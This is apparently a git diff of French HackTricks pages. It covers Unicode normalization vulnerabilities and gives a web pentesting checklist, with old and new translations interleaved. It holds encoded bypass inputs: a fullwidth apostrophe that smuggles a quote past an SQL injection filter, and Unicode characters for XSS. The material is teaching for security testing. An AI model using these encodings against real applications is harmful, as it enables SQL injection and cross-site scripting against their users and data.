* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Contexte
|
||||
|
||||
La normalisation garantit que deux chaînes qui peuvent utiliser une représentation binaire différente pour leurs caractères ont la même valeur binaire après normalisation.
|
||||
La normalisation garantit que deux chaînes qui peuvent utiliser une représentation binaire différente pour leurs caractères aient la même valeur binaire après normalisation.
|
||||
|
||||
Il existe deux types d'équivalence entre les caractères, "**équivalence canonique**" et "**équivalence de compatibilité**":\
|
||||
Les caractères **canoniquement équivalents** sont supposés avoir la même apparence et la même signification lorsqu'ils sont imprimés ou affichés. L'**équivalence de compatibilité** est une équivalence plus faible, dans la mesure où deux valeurs peuvent représenter le même caractère abstrait mais peuvent être affichées différemment. Il existe **4 algorithmes de normalisation** définis par la norme **Unicode**; **NFC, NFD, NFKD et NFKD**, chacun applique des techniques de normalisation canonique et de compatibilité de manière différente. Vous pouvez en savoir plus sur les différentes techniques sur Unicode.org.
|
||||
Il existe deux types globaux d'équivalence entre les caractères, l'« **Équivalence Canonique** » et l'« **Équivalence de Compatibilité** » :\
|
||||
Les caractères **Équivalents Canoniques** sont supposés avoir la même apparence et le même sens lorsqu'ils sont imprimés ou affichés. L'**Équivalence de Compatibilité** est une équivalence plus faible, dans le sens où deux valeurs peuvent représenter le même caractère abstrait mais peuvent être affichées différemment. Il existe **4 algorithmes de Normalisation** définis par la norme **Unicode** ; **NFC, NFD, NFKD et NFKD**, chacun applique les techniques de normalisation Canonique et de Compatibilité de manière différente. Vous pouvez en lire plus sur les différentes techniques sur Unicode.org.
|
||||
|
||||
### Encodage Unicode
|
||||
### Codage Unicode
|
||||
|
||||
Bien que Unicode ait été en partie conçu pour résoudre les problèmes d'interopérabilité, l'évolution de la norme, la nécessité de prendre en charge les systèmes hérités et les différentes méthodes d'encodage peuvent encore poser un défi.\
|
||||
Avant d'aborder les attaques Unicode, voici les points principaux à comprendre sur Unicode :
|
||||
Bien que Unicode ait été en partie conçu pour résoudre les problèmes d'interopérabilité, l'évolution de la norme, la nécessité de prendre en charge les systèmes hérités et les différentes méthodes de codage peuvent encore poser un défi.\
|
||||
Avant de nous plonger dans les attaques Unicode, voici les points principaux à comprendre sur Unicode :
|
||||
|
||||
* Chaque caractère ou symbole est associé à une valeur numérique appelée "point de code".
|
||||
* La valeur du point de code (et donc le caractère lui-même) est représentée par 1 ou plusieurs octets en mémoire. Les caractères LATIN-1 comme ceux utilisés dans les pays anglophones peuvent être représentés à l'aide d'un octet. D'autres langues ont plus de caractères et ont besoin de plus d'octets pour représenter tous les points de code différents (aussi parce qu'ils ne peuvent pas utiliser ceux déjà pris par LATIN-1).
|
||||
* Le terme "encodage" signifie la méthode selon laquelle les caractères sont représentés sous forme de série d'octets. La norme d'encodage la plus courante est l'UTF-8, en utilisant ce schéma d'encodage, les caractères ASCII peuvent être représentés à l'aide d'un octet ou jusqu'à 4 octets pour les autres caractères.
|
||||
* Lorsqu'un système traite des données, il doit connaître l'encodage utilisé pour convertir le flux d'octets en caractères.
|
||||
* Bien que UTF-8 soit le plus courant, il existe des normes d'encodage similaires nommées UTF-16 et UTF-32, la différence entre chacune étant le nombre d'octets utilisés pour représenter chaque caractère. c'est-à-dire que UTF-16 utilise un minimum de 2 octets (mais jusqu'à 4) et UTF-32 utilise 4 octets pour tous les caractères.
|
||||
* Chaque caractère ou symbole est mappé à une valeur numérique appelée « point de code ».
|
||||
* La valeur du point de code (et donc le caractère lui-même) est représentée par 1 ou plusieurs octets en mémoire. Les caractères LATIN-1, comme ceux utilisés dans les pays anglophones, peuvent être représentés en utilisant 1 octet. D'autres langues ont plus de caractères et ont besoin de plus d'octets pour représenter tous les différents points de code (aussi parce qu'ils ne peuvent pas utiliser ceux déjà pris par LATIN-1).
|
||||
* Le terme « codage » désigne la méthode selon laquelle les caractères sont représentés sous forme de série d'octets. La norme de codage la plus courante est UTF-8, avec ce schéma de codage, les caractères ASCII peuvent être représentés en utilisant 1 octet ou jusqu'à 4 octets pour d'autres caractères.
|
||||
* Lorsqu'un système traite des données, il doit connaître le codage utilisé pour convertir le flux d'octets en caractères.
|
||||
* Bien que UTF-8 soit le plus courant, il existe des normes de codage similaires nommées UTF-16 et UTF-32, la différence entre chacune est le nombre d'octets utilisés pour représenter chaque caractère. Par exemple, UTF-16 utilise un minimum de 2 octets (mais jusqu'à 4) et UTF-32 utilise 4 octets pour tous les caractères.
|
||||
|
||||
Un exemple de la façon dont Unicode normalise deux octets différents représentant le même caractère :
|
||||
|
||||
![](<../../.gitbook/assets/image (156).png>)
|
||||
|
||||
**Une liste de caractères équivalents Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
|
||||
**Une liste de caractères Unicode équivalents peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
|
||||
|
||||
### Découverte
|
||||
|
||||
Si vous trouvez à l'intérieur d'une application web une valeur qui est renvoyée, vous pouvez essayer d'envoyer **"KELVIN SIGN" (U+0212A)** qui **se normalise en "K"** (vous pouvez l'envoyer sous forme de `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.
|
||||
Si vous trouvez dans une application web une valeur qui est renvoyée, vous pourriez essayer d'envoyer le **'SIGNE KELVIN' (U+0212A)** qui se **normalise en "K"** (vous pouvez l'envoyer comme `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.
|
||||
|
||||
Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **normalisation Unicode** est `Leonishan`.
|
||||
Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **unicode** est `Leonishan`.
|
||||
|
||||
## Exemples de vulnérabilités
|
||||
## **Exemples Vulnérables**
|
||||
|
||||
### Contournement du filtre d'injection SQL
|
||||
### **Contournement de filtre d'injection SQL**
|
||||
|
||||
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée utilisateur. Cette page web, en tant que mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée utilisateur, mais **après cette suppression** et **avant la création** de la requête, elle **normalise** en utilisant **Unicode** l'entrée de l'utilisateur.
|
||||
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Cette page, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, elle **normalise** en utilisant **Unicode** l'entrée de l'utilisateur.
|
||||
|
||||
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, une apostrophe est créée et une **vulnérabilité d'injection SQL** apparaît :
|
||||
Alors, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, une apostrophe est créée et une vulnérabilité **SQLInjection** apparaît :
|
||||
|
||||
![](<../../.gitbook/assets/image (157) (1).png>)
|
||||
|
||||
|
@ -84,23 +86,23 @@ Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode diff
|
|||
|
||||
### XSS (Cross Site Scripting)
|
||||
|
||||
Vous pouvez utiliser l'un des caractères suivants pour tromper l'application web et exploiter une XSS :
|
||||
Vous pourriez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :
|
||||
|
||||
![](<../../.gitbook/assets/image (312) (1).png>)
|
||||
|
||||
Remarquez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme de : `%e2%89%ae` ou `%u226e`
|
||||
Remarquez que par exemple le premier caractère Unicode proposé peut être envoyé comme : `%e2%89%ae` ou comme `%u226e`
|
||||
|
||||
![](<../../.gitbook/assets/image (215) (1).png>)
|
||||
|
||||
### Fuzzing Regexes
|
||||
### Fuzzing de Regex
|
||||
|
||||
Lorsque le backend vérifie l'entrée utilisateur avec une regex, il est possible que l'entrée soit normalisée pour la regex mais pas pour l'endroit où elle est utilisée. Par exemple, dans une redirection ou SSRF ouverte, la regex peut normaliser l'URL envoyée mais y accéder telle quelle.
|
||||
Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il est possible que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans une redirection ouverte ou SSRF, la regex pourrait **normaliser l'URL envoyée** mais ensuite **y accéder telle quelle**.
|
||||
|
||||
L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de générer des variations de l'entrée pour fuzz le backend. Pour plus d'informations, consultez le github et ce [post](https://0xacb.com/2022/11/21/recollapse/).
|
||||
L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de **générer des variations de l'entrée** pour tester le backend. Pour plus d'informations, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Références
|
||||
|
||||
**Toutes les informations de cette page ont été prises sur :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
|
||||
**Toutes les informations de cette page ont été prises de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
|
||||
|
||||
**Autres références :**
|
||||
|
||||
|
@ -110,12 +112,14 @@ L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de génére
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,61 +2,63 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Dans chaque test de pénétration Web, il existe **plusieurs endroits cachés et évidents qui peuvent être vulnérables**. Cet article est destiné à être une liste de contrôle pour confirmer que vous avez recherché des vulnérabilités dans tous les endroits possibles.
|
||||
Dans chaque test de pénétration Web, il existe **plusieurs endroits cachés et évidents qui pourraient être vulnérables**. Cet article est destiné à être une liste de contrôle pour confirmer que vous avez recherché des vulnérabilités dans tous les endroits possibles.
|
||||
|
||||
## Proxies
|
||||
|
||||
{% hint style="info" %}
|
||||
De nos jours, les **applications Web** utilisent généralement des **proxies intermédiaires**, qui peuvent être (abusés) pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent qu'un proxy vulnérable soit en place, mais elles nécessitent généralement également une vulnérabilité supplémentaire dans le backend.
|
||||
De nos jours, les **applications web** utilisent généralement des **proxies intermédiaires**, qui peuvent être (abusés) pour exploiter des vulnérabilités. Ces vulnérabilités nécessitent un proxy vulnérable en place, mais elles nécessitent généralement aussi une vulnérabilité supplémentaire dans le backend.
|
||||
{% endhint %}
|
||||
|
||||
* [ ] [**Abus des en-têtes hop-by-hop**](../abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**Empoisonnement de cache/Duperie de cache**](../cache-deception.md)
|
||||
* [ ] [**Smuggling de requêtes HTTP**](../http-request-smuggling/)
|
||||
* [ ] [**Smuggling H2C**](../h2c-smuggling.md)
|
||||
* [ ] [**Inclusion côté serveur/Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Découverte de Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
* [ ] [**Abuser des en-têtes hop-by-hop**](../abusing-hop-by-hop-headers.md)
|
||||
* [ ] [**Empoisonnement/Deception de cache**](../cache-deception.md)
|
||||
* [ ] [**Falsification de requête HTTP**](../http-request-smuggling/)
|
||||
* [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
* [ ] [**Inclusion côté serveur/Inclusion côté Edge**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Découvrir Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
* [ ] [**Contournement des protections Proxy / WAF**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Entrée utilisateur**
|
||||
## **Entrées utilisateur**
|
||||
|
||||
{% hint style="info" %}
|
||||
La plupart des applications Web permettront aux utilisateurs de saisir des données qui seront traitées ultérieurement.\
|
||||
Selon la structure des données attendue par le serveur, certaines vulnérabilités peuvent s'appliquer ou non.
|
||||
La plupart des applications web **permettront aux utilisateurs de saisir des données qui seront traitées plus tard.**\
|
||||
Selon la structure des données attendues par le serveur, certaines vulnérabilités peuvent ou non s'appliquer.
|
||||
{% endhint %}
|
||||
|
||||
### **Valeurs réfléchies**
|
||||
### **Valeurs reflétées**
|
||||
|
||||
Si les données introduites peuvent être d'une certaine manière réfléchies dans la réponse, la page pourrait être vulnérable à plusieurs problèmes.
|
||||
Si les données introduites peuvent d'une manière ou d'une autre être reflétées dans la réponse, la page pourrait être vulnérable à plusieurs problèmes.
|
||||
|
||||
* [ ] [**Injection de modèles côté client**](../client-side-template-injection-csti.md)
|
||||
* [ ] [**Injection de commandes**](../command-injection.md)
|
||||
* [ ] [**Injection de modèle côté client**](../client-side-template-injection-csti.md)
|
||||
* [ ] [**Injection de commande**](../command-injection.md)
|
||||
* [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
* [ ] [**Balises en suspens**](../dangling-markup-html-scriptless-injection/)
|
||||
* [ ] [**Inclusion de fichiers/Traversée de chemin**](../file-inclusion/)
|
||||
* [ ] [**Markup en suspens**](../dangling-markup-html-scriptless-injection/)
|
||||
* [ ] [**Inclusion de fichier/Traversée de chemin**](../file-inclusion/)
|
||||
* [ ] [**Redirection ouverte**](../open-redirect.md)
|
||||
* [ ] [**Pollution de prototype vers XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* [ ] [**Injection côté serveur/Inclusion côté bord**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Forgery de requête côté serveur**](../ssrf-server-side-request-forgery/)
|
||||
* [ ] [**Injection de modèles côté serveur**](../ssti-server-side-template-injection/)
|
||||
* [ ] [**Tab Nabbing inversé**](../reverse-tab-nabbing.md)
|
||||
* [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
* [ ] [**Inclusion côté serveur/Inclusion côté Edge**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Falsification de requête côté serveur**](../ssrf-server-side-request-forgery/)
|
||||
* [ ] [**Injection de modèle côté serveur**](../ssti-server-side-template-injection/)
|
||||
* [ ] [**Détournement d'onglet inversé**](../reverse-tab-nabbing.md)
|
||||
* [ ] [**Injection côté serveur XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
* [ ] [**XSS**](../xss-cross-site-scripting/)
|
||||
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
* [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
Certaines des vulnérabilités mentionnées nécessitent des conditions spéciales, d'autres nécessitent simplement que le contenu soit réfléchi. Vous pouvez trouver des polyglottes intéressants pour tester rapidement les vulnérabilités dans :
|
||||
Certaines des vulnérabilités mentionnées nécessitent des conditions spéciales, d'autres nécessitent juste que le contenu soit reflété. Vous pouvez trouver des polyglottes intéressants pour tester rapidement les vulnérabilités dans :
|
||||
|
||||
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
|
||||
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
|
||||
|
@ -64,73 +66,74 @@ Certaines des vulnérabilités mentionnées nécessitent des conditions spécial
|
|||
|
||||
### **Fonctionnalités de recherche**
|
||||
|
||||
Si la fonctionnalité peut être utilisée pour rechercher un certain type de données à l'intérieur du backend, vous pouvez peut-être (ab)user de cette fonctionnalité pour rechercher des données arbitraires.
|
||||
Si la fonctionnalité peut être utilisée pour rechercher des données à l'intérieur du backend, peut-être pouvez-vous l'(ab)user pour rechercher des données arbitraires.
|
||||
|
||||
* [ ] [**Inclusion de fichiers/Traversée de chemin**](../file-inclusion/)
|
||||
* [ ] [**Inclusion de fichier/Traversée de chemin**](../file-inclusion/)
|
||||
* [ ] [**Injection NoSQL**](../nosql-injection.md)
|
||||
* [ ] [**Injection LDAP**](../ldap-injection.md)
|
||||
* [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
* [ ] [**Injection SQL**](../sql-injection/)
|
||||
* [ ] [**Injection XPATH**](../xpath-injection.md)
|
||||
|
||||
### **Formulaires, WebSockets et PostMsgs**
|
||||
|
||||
Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateurs d'effectuer des actions, des vulnérabilités peuvent survenir.
|
||||
Lorsqu'un websocket envoie un message ou qu'un formulaire permet aux utilisateurs d'effectuer des actions, des vulnérabilités peuvent apparaître.
|
||||
|
||||
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
* [ ] [**Hijacking WebSocket entre sites (CSWSH)**](../websocket-attacks.md)
|
||||
* [ ] [**Falsification de requête inter-sites**](../csrf-cross-site-request-forgery.md)
|
||||
* [ ] [**Détournement de WebSocket inter-sites (CSWSH)**](../websocket-attacks.md)
|
||||
* [ ] [**Vulnérabilités PostMessage**](../postmessage-vulnerabilities/)
|
||||
|
||||
### **En-têtes HTTP**
|
||||
|
||||
Selon les en-têtes HTTP fournis par le serveur web, certaines vulnérabilités peuvent être présentes.
|
||||
Selon les en-têtes HTTP fournis par le serveur web, certaines vulnérabilités pourraient être présentes.
|
||||
|
||||
* [ ] [**Clickjacking**](../clickjacking.md)
|
||||
* [ ] [**Contournement de la politique de sécurité du contenu**](../content-security-policy-csp-bypass/)
|
||||
* [ ] [**Piratage des cookies**](../hacking-with-cookies/)
|
||||
* [ ] [**CORS - Mauvaises configurations et contournement**](../cors-bypass.md)
|
||||
* [ ] [**Contournement de la politique de sécurité de contenu**](../content-security-policy-csp-bypass/)
|
||||
* [ ] [**Piratage de cookies**](../hacking-with-cookies/)
|
||||
* [ ] [**CORS - Mauvaises configurations & Contournement**](../cors-bypass.md)
|
||||
|
||||
### **Contournements**
|
||||
|
||||
Il existe plusieurs fonctionnalités spécifiques pour lesquelles des contournements peuvent être utiles pour les contourner.
|
||||
Il existe plusieurs fonctionnalités spécifiques où certains contournements pourraient être utiles pour les bypasser
|
||||
|
||||
* [ ] [**Contournement de la 2FA/OTP**](../2fa-bypass.md)
|
||||
* [ ] [**Contournement de 2FA/OTP**](../2fa-bypass.md)
|
||||
* [ ] [**Contournement du processus de paiement**](../bypass-payment-process.md)
|
||||
* [ ] [**Contournement des captchas**](../captcha-bypass.md)
|
||||
* [ ] [**Contournement de la connexion**](../login-bypass/)
|
||||
* [ ] [**Contournement de Captcha**](../captcha-bypass.md)
|
||||
* [ ] [**Contournement de connexion**](../login-bypass/)
|
||||
* [ ] [**Condition de concurrence**](../race-condition.md)
|
||||
* [ ] [**Contournement des limites de taux**](../rate-limit-bypass.md)
|
||||
* [ ] [**Contournement de la réinitialisation du mot de passe oublié**](../reset-password.md)
|
||||
* [ ] [**Contournement de limite de taux**](../rate-limit-bypass.md)
|
||||
* [ ] [**Contournement de réinitialisation de mot de passe oublié**](../reset-password.md)
|
||||
* [ ] [**Vulnérabilités d'inscription**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Objets structurés / Fonctionnalités spécifiques**
|
||||
|
||||
Certaines fonctionnalités nécessitent que les données soient structurées dans un format très spécifique (comme un objet sérialisé en langage ou XML). Par conséquent, il est plus facile d'identifier si l'application peut être vulnérable car elle doit traiter ce type de données.\
|
||||
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-tête de courrier électronique).
|
||||
Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé dans un langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\
|
||||
Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si **un format spécifique de l'entrée est utilisé** (comme les injections d'en-tête d'email).
|
||||
|
||||
* [ ] [**Désérialisation**](../deserialization/)
|
||||
* [ ] [**Injection d'en-tête de courrier électronique**](../email-injections.md)
|
||||
* [ ] [**Injection d'en-tête d'email**](../email-injections.md)
|
||||
* [ ] [**Vulnérabilités JWT**](../hacking-jwt-json-web-tokens.md)
|
||||
* [ ] [**Entité XML externe**](../xxe-xee-xml-external-entity.md)
|
||||
* [ ] [**Entité externe XML**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Fichiers
|
||||
|
||||
Les fonctionnalités permettant de télécharger des fichiers peuvent être vulnérables à plusieurs problèmes.\
|
||||
Les fonctionnalités générant des fichiers incluant une entrée utilisateur peuvent exécuter un code inattendu.\
|
||||
Les utilisateurs qui ouvrent des fichiers téléchargés par des utilisateurs ou générés automatiquement incluant une entrée utilisateur peuvent être compromis.
|
||||
Les fonctionnalités qui permettent de télécharger des fichiers pourraient être vulnérables à plusieurs problèmes.\
|
||||
Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur pourraient exécuter du code inattendu.\
|
||||
Les utilisateurs qui ouvrent des fichiers téléchargés par des utilisateurs ou générés automatiquement incluant des entrées utilisateur pourraient être compromis.
|
||||
|
||||
* [ ] [**Téléchargement de fichiers**](../file-upload/)
|
||||
* [ ] [**Injection de formule**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
* [ ] [**Injection PDF**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
* [ ] [**XSS côté serveur**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Gestion externe de l'identité**
|
||||
### **Gestion d'identité externe**
|
||||
|
||||
* [ ] [**OAUTH pour la prise de contrôle de compte**](../oauth-to-account-takeover.md)
|
||||
* [ ] [**OAUTH vers prise de contrôle de compte**](../oauth-to-account-takeover.md)
|
||||
* [ ] [**Attaques SAML**](../saml-attacks/)
|
||||
|
||||
### **Autres vulnérabilités utiles**
|
||||
|
||||
Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
|
||||
Ces vulnérabilités pourraient aider à exploiter d'autres vulnérabilités.
|
||||
|
||||
* [ ] [**Prise de contrôle de domaine/sous-domaine**](../domain-subdomain-takeover.md)
|
||||
* [ ] [**IDOR**](../idor.md)
|
||||
|
@ -139,12 +142,14 @@ Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
|
|||
|
||||
<details>
|
||||
|
||||
